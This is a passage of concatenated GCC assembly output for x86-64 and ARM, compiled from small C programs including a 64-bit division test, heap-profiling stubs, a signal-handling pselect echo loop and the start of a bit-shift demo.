.ascii "eh?\000"
.align 2
.LC4:
.ascii "%lx:%lx /%% %lx:%lx => q=%lx:%lx r=%lx:%lx\012\000"
.align 2
.LC5:
.ascii " = %lX%08lX / %lX%08lX => %lX%08lX\012 = %lX%08lX"
.ascii " %% %lX%08lX => %lX%08lX\012\000"
.align 2
.LC6:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 336
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #376
ldr r3, .L10
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
.L6:
ldr r0, .L10+4
bl printf
ldr r3, .L10+8
ldr r2, [r3]
sub r3, fp, #332
mov r1, #300
mov r0, r3
bl fgets
mov r3, r0
cmp r3, #0
beq .L9
sub r3, fp, #364
add r1, r3, #4
sub r2, fp, #364
sub r0, fp, #332
sub r3, fp, #356
add r3, r3, #4
str r3, [sp, #4]
sub r3, fp, #356
str r3, [sp]
mov r3, r1
ldr r1, .L10+12
bl __isoc99_sscanf
mov r3, r0
cmp r3, #4
beq .L4
sub r3, fp, #364
add r1, r3, #4
sub r2, fp, #364
sub r0, fp, #332
sub r3, fp, #356
add r3, r3, #4
str r3, [sp, #4]
sub r3, fp, #356
str r3, [sp]
mov r3, r1
ldr r1, .L10+16
bl __isoc99_sscanf
mov r3, r0
cmp r3, #4
beq .L4
ldr r0, .L10+20
bl puts
b .L5
.L4:
sub r3, fp, #364
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub r3, fp, #356
ldmia r3, {r2-r3}
mov r4, r2
mov r5, r3
sub r3, fp, #340
str r3, [sp]
mov r2, r4
mov r3, r5
bl __qdivrem
mov r2, r0
mov r3, r1
str r2, [fp, #-348]
str r3, [fp, #-344]
ldr lr, [fp, #-364]
ldr r4, [fp, #-360]
ldr r5, [fp, #-356]
ldr r3, [fp, #-352]
ldr r2, [fp, #-348]
ldr r1, [fp, #-344]
ldr r0, [fp, #-340]
ldr ip, [fp, #-336]
str ip, [sp, #16]
str r0, [sp, #12]
str r1, [sp, #8]
str r2, [sp, #4]
str r3, [sp]
mov r3, r5
mov r2, r4
mov r1, lr
ldr r0, .L10+24
bl printf
ldr r7, [fp, #-364]
ldr r8, [fp, #-360]
ldr r9, [fp, #-356]
ldr r3, [fp, #-352]
ldr r2, [fp, #-348]
ldr r1, [fp, #-344]
ldr r0, [fp, #-364]
ldr ip, [fp, #-360]
ldr lr, [fp, #-356]
ldr r4, [fp, #-352]
ldr r5, [fp, #-340]
ldr r6, [fp, #-336]
str r6, [sp, #32]
str r5, [sp, #28]
str r4, [sp, #24]
str lr, [sp, #20]
str ip, [sp, #16]
str r0, [sp, #12]
str r1, [sp, #8]
str r2, [sp, #4]
str r3, [sp]
mov r3, r9
mov r2, r8
mov r1, r7
ldr r0, .L10+28
bl printf
.L5:
b .L6
.L9:
nop
mov r0, #0
bl exit
.L11:
.align 2
.L10:
.word .LC6
.word .LC0
.word stdin
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "127942.c"
.intel_syntax noprefix
.text
.local maxloc
.comm maxloc,8,8
.local begloc
.comm begloc,8,8
.local heapcheck
.comm heapcheck,4,4
.local maxcurheap
.comm maxcurheap,8,8
.globl profile_heap_get_
.type profile_heap_get_, @function
profile_heap_get_:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov QWORD PTR -24[rbp], rdx
mov QWORD PTR -32[rbp], rcx
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size profile_heap_get_, .-profile_heap_get_
.globl getcurheap_
.type getcurheap_, @function
getcurheap_:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, 0
call gethwm_@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR maxcurheap[rip]
cmp QWORD PTR -8[rbp], rax
jle .L3
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR maxcurheap[rip], rax
.L3:
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size getcurheap_, .-getcurheap_
.globl getcurheap_thread_
.type getcurheap_thread_, @function
getcurheap_thread_:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov eax, 0
call getcurheap_
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size getcurheap_thread_, .-getcurheap_thread_
.globl getmaxcurheap_
.type getmaxcurheap_, @function
getmaxcurheap_:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size getmaxcurheap_, .-getmaxcurheap_
.globl getmaxcurheap_thread_
.type getmaxcurheap_thread_, @function
getmaxcurheap_thread_:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size getmaxcurheap_thread_, .-getmaxcurheap_thread_
.globl getmaxloc_
.type getmaxloc_, @function
getmaxloc_:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rax, QWORD PTR maxloc[rip]
mov rdx, QWORD PTR begloc[rip]
sub rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size getmaxloc_, .-getmaxloc_
.globl resetmaxloc_
.type resetmaxloc_, @function
resetmaxloc_:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR maxloc[rip], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size resetmaxloc_, .-resetmaxloc_
.globl setheapcheck_
.type setheapcheck_, @function
setheapcheck_:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR heapcheck[rip], 1
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size setheapcheck_, .-setheapcheck_
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "127942.c"
.text
.local maxloc
.comm maxloc,8,8
.local begloc
.comm begloc,8,8
.local heapcheck
.comm heapcheck,4,4
.local maxcurheap
.comm maxcurheap,8,8
.align 2
.global profile_heap_get_
.syntax unified
.arm
.fpu softvfp
.type profile_heap_get_, %function
profile_heap_get_:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
str r3, [fp, #-20]
ldr r3, [fp, #-20]
mov r2, #0
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size profile_heap_get_, .-profile_heap_get_
.align 2
.global getcurheap_
.syntax unified
.arm
.fpu softvfp
.type getcurheap_, %function
getcurheap_:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
bl gethwm_
str r0, [fp, #-12]
str r1, [fp, #-8]
ldr r3, .L5
ldmia r3, {r0-r1}
sub r3, fp, #12
ldmia r3, {r2-r3}
cmp r0, r2
sbcs r3, r1, r3
bge .L3
ldr r1, .L5
sub r3, fp, #12
ldmia r3, {r2-r3}
stm r1, {r2-r3}
.L3:
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word maxcurheap
.size getcurheap_, .-getcurheap_
.align 2
.global getcurheap_thread_
.syntax unified
.arm
.fpu softvfp
.type getcurheap_thread_, %function
getcurheap_thread_:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
bl getcurheap_
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size getcurheap_thread_, .-getcurheap_thread_
.align 2
.global getmaxcurheap_
.syntax unified
.arm
.fpu softvfp
.type getmaxcurheap_, %function
getmaxcurheap_:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size getmaxcurheap_, .-getmaxcurheap_
.align 2
.global getmaxcurheap_thread_
.syntax unified
.arm
.fpu softvfp
.type getmaxcurheap_thread_, %function
getmaxcurheap_thread_:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size getmaxcurheap_thread_, .-getmaxcurheap_thread_
.align 2
.global getmaxloc_
.syntax unified
.arm
.fpu softvfp
.type getmaxloc_, %function
getmaxloc_:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
push {r4, r5, fp}
add fp, sp, #8
sub sp, sp, #12
ldr r3, .L15
ldmia r3, {r0-r1}
ldr r3, .L15+4
ldmia r3, {r2-r3}
subs r4, r0, r2
sbc r5, r1, r3
str r4, [fp, #-20]
str r5, [fp, #-16]
sub r3, fp, #20
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #8
@ sp needed
pop {r4, r5, fp}
bx lr
.L16:
.align 2
.L15:
.word maxloc
.word begloc
.size getmaxloc_, .-getmaxloc_
.align 2
.global resetmaxloc_
.syntax unified
.arm
.fpu softvfp
.type resetmaxloc_, %function
resetmaxloc_:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r1, .L18
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L19:
.align 2
.L18:
.word maxloc
.size resetmaxloc_, .-resetmaxloc_
.align 2
.global setheapcheck_
.syntax unified
.arm
.fpu softvfp
.type setheapcheck_, %function
setheapcheck_:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L21
mov r2, #1
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L22:
.align 2
.L21:
.word heapcheck
.size setheapcheck_, .-setheapcheck_
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "952021.c"
.intel_syntax noprefix
.text
.globl sigflags
.bss
.align 32
.type sigflags, @object
.size sigflags, 128
sigflags:
.zero 128
.globl sigslot
.section .rodata
.LC0:
.string "SIGHUP"
.LC1:
.string "SIGINT"
.LC2:
.string "SIGQUIT"
.LC3:
.string "SIGILL"
.LC4:
.string "SIGTRAP"
.LC5:
.string "SIGABRT"
.LC6:
.string "SIGBUS"
.LC7:
.string "SIGFPE"
.LC8:
.string "SIGKILL"
.LC9:
.string "SIGUSR1"
.LC10:
.string "SIGSEGV"
.LC11:
.string "SIGUSR2"
.LC12:
.string "SIGPIPE"
.LC13:
.string "SIGALRM"
.LC14:
.string "SIGTERM"
.LC15:
.string "SIGSTKFL"
.LC16:
.string "SIGCHLD"
.LC17:
.string "SIGCONT"
.LC18:
.string "SIGSTOP"
.LC19:
.string "SIGTSTP"
.LC20:
.string "SIGTTIN"
.LC21:
.string "SIGTTOU"
.LC22:
.string "SIGURG"
.LC23:
.string "SIGXCPU"
.LC24:
.string "SIGXFSZ"
.LC25:
.string "SIGVTALR"
.LC26:
.string "SIGPROF"
.LC27:
.string "SIGWINCH"
.LC28:
.string "SIGIO"
.LC29:
.string "SIGPWR"
.LC30:
.string "SIGSYS"
.LC31:
.string "SIGRTMIN"
.section .data.rel.local,"aw"
.align 32
.type sigslot, @object
.size sigslot, 512
sigslot:
.quad .LC0
.byte 0
.zero 7
.quad .LC1
.byte 0
.zero 7
.quad .LC2
.byte 0
.zero 7
.quad .LC3
.byte 0
.zero 7
.quad .LC4
.byte 0
.zero 7
.quad .LC5
.byte 0
.zero 7
.quad .LC6
.byte 0
.zero 7
.quad .LC7
.byte 0
.zero 7
.quad .LC8
.byte 1
.zero 7
.quad .LC9
.byte 0
.zero 7
.quad .LC10
.byte 0
.zero 7
.quad .LC11
.byte 0
.zero 7
.quad .LC12
.byte 0
.zero 7
.quad .LC13
.byte 0
.zero 7
.quad .LC14
.byte 0
.zero 7
.quad .LC15
.byte 0
.zero 7
.quad .LC16
.byte 0
.zero 7
.quad .LC17
.byte 0
.zero 7
.quad .LC18
.byte 0
.zero 7
.quad .LC19
.byte 0
.zero 7
.quad .LC20
.byte 0
.zero 7
.quad .LC21
.byte 0
.zero 7
.quad .LC22
.byte 0
.zero 7
.quad .LC23
.byte 0
.zero 7
.quad .LC24
.byte 0
.zero 7
.quad .LC25
.byte 0
.zero 7
.quad .LC26
.byte 0
.zero 7
.quad .LC27
.byte 0
.zero 7
.quad .LC28
.byte 0
.zero 7
.quad .LC29
.byte 0
.zero 7
.quad .LC30
.byte 0
.zero 7
.quad .LC31
.byte 0
.zero 7
.text
.globl handle_signal
.type handle_signal, @function
handle_signal:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR -4[rbp]
sub eax, 1
cdqe
lea rdx, sigflags[rip]
mov BYTE PTR [rax+rdx], 1
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size handle_signal, .-handle_signal
.section .rodata
.LC32:
.string "=== LOOP ===\n"
.LC33:
.string "got %s\n"
.LC34:
.string "got EOF, exiting...\n"
.LC35:
.string "pselect"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 640
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -624[rbp]
mov rdi, rax
call sigfillset@PLT
lea rax, -496[rbp]
mov rdi, rax
call sigemptyset@PLT
lea rax, -624[rbp]
mov edx, 0
mov rsi, rax
mov edi, 0
call sigprocmask@PLT
lea rax, handle_signal[rip]
mov QWORD PTR -240[rbp], rax
mov rax, QWORD PTR -624[rbp]
mov rdx, QWORD PTR -616[rbp]
mov QWORD PTR -232[rbp], rax
mov QWORD PTR -224[rbp], rdx
mov rax, QWORD PTR -608[rbp]
mov rdx, QWORD PTR -600[rbp]
mov QWORD PTR -216[rbp], rax
mov QWORD PTR -208[rbp], rdx
mov rax, QWORD PTR -592[rbp]
mov rdx, QWORD PTR -584[rbp]
mov QWORD PTR -200[rbp], rax
mov QWORD PTR -192[rbp], rdx
mov rax, QWORD PTR -576[rbp]
mov rdx, QWORD PTR -568[rbp]
mov QWORD PTR -184[rbp], rax
mov QWORD PTR -176[rbp], rdx
mov rax, QWORD PTR -560[rbp]
mov rdx, QWORD PTR -552[rbp]
mov QWORD PTR -168[rbp], rax
mov QWORD PTR -160[rbp], rdx
mov rax, QWORD PTR -544[rbp]
mov rdx, QWORD PTR -536[rbp]
mov QWORD PTR -152[rbp], rax
mov QWORD PTR -144[rbp], rdx
mov rax, QWORD PTR -528[rbp]
mov rdx, QWORD PTR -520[rbp]
mov QWORD PTR -136[rbp], rax
mov QWORD PTR -128[rbp], rdx
mov rax, QWORD PTR -512[rbp]
mov rdx, QWORD PTR -504[rbp]
mov QWORD PTR -120[rbp], rax
mov QWORD PTR -112[rbp], rdx
mov DWORD PTR -640[rbp], 1
jmp .L3
.L4:
lea rcx, -240[rbp]
mov eax, DWORD PTR -640[rbp]
mov edx, 0
mov rsi, rcx
mov edi, eax
call sigaction@PLT
add DWORD PTR -640[rbp], 1
.L3:
mov eax, DWORD PTR -640[rbp]
cmp eax, 32
jbe .L4
.L15:
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 13
mov esi, 1
lea rdi, .LC32[rip]
call fwrite@PLT
mov eax, 0
mov ecx, 16
lea rdx, -368[rbp]
mov rdi, rdx
#APP
# 96 "the_stack_data/952021.c" 1
cld; rep; stosq
# 0 "" 2
#NO_APP
mov eax, edi
mov edx, ecx
mov DWORD PTR -636[rbp], edx
mov DWORD PTR -632[rbp], eax
mov rax, QWORD PTR -368[rbp]
or rax, 1
mov QWORD PTR -368[rbp], rax
lea rdx, -496[rbp]
lea rax, -368[rbp]
mov r9, rdx
mov r8d, 0
mov ecx, 0
mov edx, 0
mov rsi, rax
mov edi, 1
call pselect@PLT
mov DWORD PTR -628[rbp], eax
cmp DWORD PTR -628[rbp], -1
jne .L5
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 4
jne .L5
mov DWORD PTR -640[rbp], 0
jmp .L6
.L10:
mov eax, DWORD PTR -640[rbp]
cdqe
lea rdx, sigflags[rip]
movzx eax, BYTE PTR [rax+rdx]
xor eax, 1
test al, al
jne .L20
mov eax, DWORD PTR -640[rbp]
cdqe
sal rax, 4
mov rdx, rax
lea rax, sigslot[rip]
mov rdx, QWORD PTR [rdx+rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC33[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov eax, DWORD PTR -640[rbp]
cdqe
lea rdx, sigflags[rip]
mov BYTE PTR [rax+rdx], 0
mov eax, DWORD PTR -640[rbp]
cdqe
sal rax, 4
mov rdx, rax
lea rax, sigslot[rip+8]
movzx eax, BYTE PTR [rdx+rax]
test al, al
jne .L21
jmp .L8
.L20:
nop
.L8:
add DWORD PTR -640[rbp], 1
.L6:
mov eax, DWORD PTR -640[rbp]
cmp eax, 31
jbe .L10
jmp .L11
.L5:
cmp DWORD PTR -628[rbp], -1
je .L22
lea rax, -80[rbp]
mov edx, 64
mov rsi, rax
mov edi, 0
call read@PLT
mov DWORD PTR -628[rbp], eax
cmp DWORD PTR -628[rbp], 0
jne .L14
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 20
mov esi, 1
lea rdi, .LC34[rip]
call fwrite@PLT
jmp .L9
.L14:
mov eax, DWORD PTR -628[rbp]
movsx rdx, eax
lea rax, -80[rbp]
mov rsi, rax
mov edi, 1
call write@PLT
.L11:
jmp .L15
.L21:
nop
.L9:
mov eax, 0
jmp .L17
.L22:
nop
.L13:
lea rdi, .LC35[rip]
call perror@PLT
mov eax, 1
.L17:
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L18
call __stack_chk_fail@PLT
.L18:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "952021.c"
.text
.comm sigflags,128,4
.global sigslot
.section .rodata
.align 2
.LC0:
.ascii "SIGHUP\000"
.align 2
.LC1:
.ascii "SIGINT\000"
.align 2
.LC2:
.ascii "SIGQUIT\000"
.align 2
.LC3:
.ascii "SIGILL\000"
.align 2
.LC4:
.ascii "SIGTRAP\000"
.align 2
.LC5:
.ascii "SIGABRT\000"
.align 2
.LC6:
.ascii "SIGBUS\000"
.align 2
.LC7:
.ascii "SIGFPE\000"
.align 2
.LC8:
.ascii "SIGKILL\000"
.align 2
.LC9:
.ascii "SIGUSR1\000"
.align 2
.LC10:
.ascii "SIGSEGV\000"
.align 2
.LC11:
.ascii "SIGUSR2\000"
.align 2
.LC12:
.ascii "SIGPIPE\000"
.align 2
.LC13:
.ascii "SIGALRM\000"
.align 2
.LC14:
.ascii "SIGTERM\000"
.align 2
.LC15:
.ascii "SIGSTKFL\000"
.align 2
.LC16:
.ascii "SIGCHLD\000"
.align 2
.LC17:
.ascii "SIGCONT\000"
.align 2
.LC18:
.ascii "SIGSTOP\000"
.align 2
.LC19:
.ascii "SIGTSTP\000"
.align 2
.LC20:
.ascii "SIGTTIN\000"
.align 2
.LC21:
.ascii "SIGTTOU\000"
.align 2
.LC22:
.ascii "SIGURG\000"
.align 2
.LC23:
.ascii "SIGXCPU\000"
.align 2
.LC24:
.ascii "SIGXFSZ\000"
.align 2
.LC25:
.ascii "SIGVTALR\000"
.align 2
.LC26:
.ascii "SIGPROF\000"
.align 2
.LC27:
.ascii "SIGWINCH\000"
.align 2
.LC28:
.ascii "SIGIO\000"
.align 2
.LC29:
.ascii "SIGPWR\000"
.align 2
.LC30:
.ascii "SIGSYS\000"
.align 2
.LC31:
.ascii "SIGRTMIN\000"
.data
.align 2
.type sigslot, %object
.size sigslot, 256
sigslot:
.word .LC0
.byte 0
.space 3
.word .LC1
.byte 0
.space 3
.word .LC2
.byte 0
.space 3
.word .LC3
.byte 0
.space 3
.word .LC4
.byte 0
.space 3
.word .LC5
.byte 0
.space 3
.word .LC6
.byte 0
.space 3
.word .LC7
.byte 0
.space 3
.word .LC8
.byte 1
.space 3
.word .LC9
.byte 0
.space 3
.word .LC10
.byte 0
.space 3
.word .LC11
.byte 0
.space 3
.word .LC12
.byte 0
.space 3
.word .LC13
.byte 0
.space 3
.word .LC14
.byte 0
.space 3
.word .LC15
.byte 0
.space 3
.word .LC16
.byte 0
.space 3
.word .LC17
.byte 0
.space 3
.word .LC18
.byte 0
.space 3
.word .LC19
.byte 0
.space 3
.word .LC20
.byte 0
.space 3
.word .LC21
.byte 0
.space 3
.word .LC22
.byte 0
.space 3
.word .LC23
.byte 0
.space 3
.word .LC24
.byte 0
.space 3
.word .LC25
.byte 0
.space 3
.word .LC26
.byte 0
.space 3
.word .LC27
.byte 0
.space 3
.word .LC28
.byte 0
.space 3
.word .LC29
.byte 0
.space 3
.word .LC30
.byte 0
.space 3
.word .LC31
.byte 0
.space 3
.text
.align 2
.global handle_signal
.syntax unified
.arm
.fpu softvfp
.type handle_signal, %function
handle_signal:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
sub r3, r3, #1
ldr r2, .L2
mov r1, #1
strb r1, [r2, r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L3:
.align 2
.L2:
.word sigflags
.size handle_signal, .-handle_signal
.section .rodata
.align 2
.LC32:
.ascii "=== LOOP ===\012\000"
.align 2
.LC33:
.ascii "got %s\012\000"
.align 2
.LC34:
.ascii "got EOF, exiting...\012\000"
.align 2
.LC35:
.ascii "pselect\000"
.align 2
.LC36:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 608
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #616
ldr r3, .L27
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #596
mov r0, r3
bl sigfillset
sub r3, fp, #468
mov r0, r3
bl sigemptyset
sub r3, fp, #596
mov r2, #0
mov r1, r3
mov r0, #0
bl sigprocmask
ldr r3, .L27+4
str r3, [fp, #-212]
sub r3, fp, #208
sub r1, fp, #596
mov r2, #128
mov r0, r3
bl memcpy
mov r3, #1
str r3, [fp, #-612]
b .L5
.L6:
sub r3, fp, #212
mov r2, #0
mov r1, r3
ldr r0, [fp, #-612]
bl sigaction
ldr r3, [fp, #-612]
add r3, r3, #1
str r3, [fp, #-612]
.L5:
ldr r3, [fp, #-612]
cmp r3, #32
bls .L6
.L19:
ldr r3, .L27+8
ldr r3, [r3]
mov r2, #13
mov r1, #1
ldr r0, .L27+12
bl fwrite
sub r3, fp, #340
str r3, [fp, #-604]
mov r3, #0
str r3, [fp, #-608]
b .L7
.L8:
ldr r3, [fp, #-604]
ldr r2, [fp, #-608]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-608]
add r3, r3, #1
str r3, [fp, #-608]
.L7:
ldr r3, [fp, #-608]
cmp r3, #31
bls .L8
ldr r3, [fp, #-340]
orr r3, r3, #1
str r3, [fp, #-340]
sub r1, fp, #340
sub r3, fp, #468
str r3, [sp, #4]
mov r3, #0
str r3, [sp]
mov r3, #0
mov r2, #0
mov r0, #1
bl pselect
str r0, [fp, #-600]
ldr r3, [fp, #-600]
cmn r3, #1
bne .L9
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #4
bne .L9
mov r3, #0
str r3, [fp, #-612]
b .L10
.L14:
ldr r2, .L27+16
ldr r3, [fp, #-612]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
bne .L24
ldr r3, .L27+8
ldr r0, [r3]
ldr r2, .L27+20
ldr r3, [fp, #-612]
ldr r3, [r2, r3, lsl #3]
mov r2, r3
ldr r1, .L27+24
bl fprintf
ldr r2, .L27+16
ldr r3, [fp, #-612]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r2, .L27+20
ldr r3, [fp, #-612]
lsl r3, r3, #3
add r3, r2, r3
ldrb r3, [r3, #4] @ zero_extendqisi2
cmp r3, #0
bne .L25
b .L12
.L24:
nop
.L12:
ldr r3, [fp, #-612]
add r3, r3, #1
str r3, [fp, #-612]
.L10:
ldr r3, [fp, #-612]
cmp r3, #31
bls .L14
b .L15
.L9:
ldr r3, [fp, #-600]
cmn r3, #1
beq .L26
sub r3, fp, #72
mov r2, #64
mov r1, r3
mov r0, #0
bl read
str r0, [fp, #-600]
ldr r3, [fp, #-600]
cmp r3, #0
bne .L18
ldr r3, .L27+8
ldr r3, [r3]
mov r2, #20
mov r1, #1
ldr r0, .L27+28
bl fwrite
b .L13
.L18:
ldr r2, [fp, #-600]
sub r3, fp, #72
mov r1, r3
mov r0, #1
bl write
.L15:
b .L19
.L25:
nop
.L13:
mov r3, #0
b .L21
.L26:
nop
.L17:
ldr r0, .L27+32
bl perror
mov r3, #1
.L21:
ldr r2, .L27
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L22
bl __stack_chk_fail
.L22:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L28:
.align 2
.L27:
.word .LC36
.word handle_signal
.word stderr
.word .LC32
.word sigflags
.word sigslot
.word .LC33
.word .LC34
.word .LC35
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "975767.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter any number: "
.LC1:
.string "%d"
.LC2:
.string "Right shift by %d: %d\n"
.LC3:
.string "Left shift by %d: %d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
